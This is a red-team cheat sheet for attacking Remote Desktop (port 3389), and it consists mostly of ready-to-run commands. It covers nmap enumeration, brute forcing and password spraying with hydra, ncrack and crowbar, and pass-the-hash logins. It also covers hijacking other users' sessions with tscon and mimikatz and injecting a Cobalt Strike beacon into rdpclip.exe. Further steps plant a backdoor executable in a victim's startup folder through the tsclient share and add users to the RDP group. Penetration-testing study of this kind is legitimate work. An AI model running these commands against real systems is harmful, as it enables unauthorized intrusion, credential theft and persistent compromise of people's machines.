RDP - PORT 3389
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Basic Info
Remote Desktop Protocol (RDP) is a powerful interface for remote administration but also a common target during network penetration tests. This guide provides a deep-dive, red team–oriented, practical approach to pentesting RDP—covering everything from service discovery and brute-forcing to misconfigurations, credential theft, and post-exploitation pivoting.
RDP typically runs on TCP port 3389.
Enumeration
RDP typically runs on TCP port 3389, but it can be reconfigured. Effective reconnaissance involves multiple techniques:
Port Scanning (TCP/UDP)
nmap -p 3389 -sS -sV -Pn --script=rdp-enum-encryption <target>rdp-enum-encryption: Reveals supported security layers (Standard RDP, TLS, CredSSP)Look for open ports: 3389 (default), but may vary (3388, 3390)
Detecting RDP via SSL Certificate
openssl s_client -connect <ip>:3389Check for common RDP SSL certificate strings like Remote Desktop.
Banner Grabbing with Nmap NSE
nmap --script=ssl-cert,rdp-ntlm-info -p 3389 <target>Brute Force
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]Bypassing Account Lockouts
Slow brute-force (1 attempt every X seconds)
Distribute attempts across users
Password spraying (1 password across multiple accounts)
Password Spraying
Be careful, you could lock accounts
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdpConnect with known credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hashCheck known credentials against RDP services
rdp_check.py from impacket let you check if some credentials are valid for a RDP service:
rdp_check <domain>/<name>:<password>@<IP>Session stealing
With SYSTEM permissions you can access any opened RDP session by any user without need to know the password of the owner.
Get openned sessions:
query userAccess to the selected session
tscon <ID> /dest:<SESSIONNAME>Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
Important: When you access an active RDP sessions you will kickoff the user that was using it.
You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)
Mimikatz
You could also use mimikatz to do this:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the sessionSticky-keys & Utilman
Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
If the external group has RDP access to any computer in the current domain, an attacker could compromise that computer and wait for him.
Once that user has accessed via RDP, the attacker can pivot to that users session and abuse its permissions in the external domain.
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that userRDPInception
If a user access via RDP into a machine where an attacker is waiting for him, the attacker will be able to inject a beacon in the RDP session of the user and if the victim mounted his drive when accessing via RDP, the attacker could access it.
In this case you could just compromise the victims original computer by writing a backdoor in the statup folder.
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exeAdding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /addAutomatic Tools
AutoRDPwn is a post-exploitation framework created in Powershell, designed primarily to automate the Shadow attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to view his victim's desktop without his consent, and even control it on demand, using tools native to the operating system itself.
Control mouse and keyboard in an automated way from command line
Control clipboard in an automated way from command line
Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
Execute arbitrary SHELL and PowerShell commands on the target without uploading files
Upload and download files to/from the target even when file transfers are disabled on the target
This tool allows to execute commands in the victim RDP without needing a graphical interface.
Learn & practice For the Bug Bounty
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